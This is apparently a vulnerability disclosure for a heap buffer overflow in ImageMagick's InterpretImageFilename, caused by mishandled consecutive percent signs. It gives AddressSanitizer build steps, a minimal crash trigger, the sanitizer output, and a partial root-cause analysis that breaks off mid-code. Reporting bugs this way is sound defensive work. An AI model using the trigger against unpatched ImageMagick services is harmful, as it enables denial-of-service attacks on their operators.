ImageMagick has a Heap Buffer Overflow in InterpretImageFilename
# Heap Buffer Overflow in InterpretImageFilename
Summary
A heap buffer overflow was identified in the InterpretImageFilename function of ImageMagick. The issue stems from an off-by-one error that causes out-of-bounds memory access when processing format strings containing consecutive percent signs (%%).
Environment
- OS: Arch Linux (Linux gmkhost 6.14.2-arch1-1 # 1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 18:43:59 +0000 x86_64 GNU/Linux (GNU libc) 2.41)
- Architecture: x86_64
- Compiler: gcc (GCC) 15.1.1 20250425
Reproduction
Build Instructions
```bash
# Clone the repository
git clone https://github.com/ImageMagick/ImageMagick.git
cd ImageMagick
git reset --hard 8fff9b4f44d2e8b5cae2bd6db70930a144d15f12
# Build with AddressSanitizer
export CFLAGS="-fsanitize=address -g -O1"
export CXXFLAGS="-fsanitize=address -g -O1"
export LDFLAGS="-fsanitizer=address"
./configure
make
# Set library path and trigger the crash
export LD_LIBRARY_PATH="$(pwd)/MagickWand/.libs:$(pwd)/MagickCore/.libs:$LD_LIBRARY_PATH"
./utilities/.libs/magick %% a
```
Minimum Trigger
```bash
./utilities/.libs/magick %% [any_output_filename]
```
Crash Analysis
AddressSanitizer Output
```
$ ./utilities/.libs/magick %% a
=================================================================
==2227694==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7037f99e3ad3 at pc 0x741801e81a17 bp 0x7ffd22fa4e00 sp 0x7ffd22fa45b8
READ of size 1 at 0x7037f99e3ad3 thread T0
#0 0x741801e81a16 in strchr /usr/src/debug/gcc/gcc/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:746
#1 0x7418013b4f06 in InterpretImageFilename MagickCore/image.c:1674
#2 0x7418012826a3 in ReadImages MagickCore/constitute.c:1040
#3 0x741800e4696b in CLINoImageOperator MagickWand/operation.c:4959
#4 0x741800e64de7 in CLIOption MagickWand/operation.c:5473
#5 0x741800d92edf in ProcessCommandOptions MagickWand/magick-cli.c:653
#6 0x741800d94816 in MagickImageCommand MagickWand/magick-cli.c:1392
#7 0x741800d913e4 in MagickCommandGenesis MagickWand/magick-cli.c:177
#8 0x5ef7a3546638 in MagickMain utilities/magick.c:162
#9 0x5ef7a3546872 in main utilities/magick.c:193
#10 0x7417ff53f6b4 (/usr/lib/libc.so.6+0x276b4) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35)
#11 0x7417ff53f768 in __libc_start_main (/usr/lib/libc.so.6+0x27768) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35)
#12 0x5ef7a3546204 in _start (/home/kforfk/workspace/fuzz_analysis/saigen/ImageMagick/utilities/.libs/magick+0x2204) (BuildId: 96677b60628cf297eaedb3eb17b87000d29403f2)
0x7037f99e3ad3 is located 0 bytes after 3-byte region [0x7037f99e3ad0,0x7037f99e3ad3)
allocated by thread T0 here:
#0 0x741801f20e15 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:67
#1 0x7418013e86bc in AcquireMagickMemory MagickCore/memory.c:559
SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/image.c:1674 in InterpretImageFilename
Shadow bytes around the buggy address:
0x7037f99e3800: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa
0x7037f99e3880: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa
0x7037f99e3900: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa
0x7037f99e3980: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa
0x7037f99e3a00: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa 00 04
=>0x7037f99e3a80: fa fa 00 04 fa fa 00 00 fa fa[03]fa fa fa 03 fa
0x7037f99e3b00: fa fa 00 01 fa fa fa fa fa fa fa fa fa fa fa fa
0x7037f99e3b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7037f99e3c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7037f99e3c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7037f99e3d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2227694==ABORTING
```
Root Cause Analysis
The first command line argument is interpreted as MagickImageCommand:
https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/utilities/magick.c#L83
```c
const CommandInfo
MagickCommands[] =
{
MagickCommandSize("magick", MagickFalse, MagickImageCommand),
```
It is invoked here:
https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L220
```c
status=command(image_info,arg
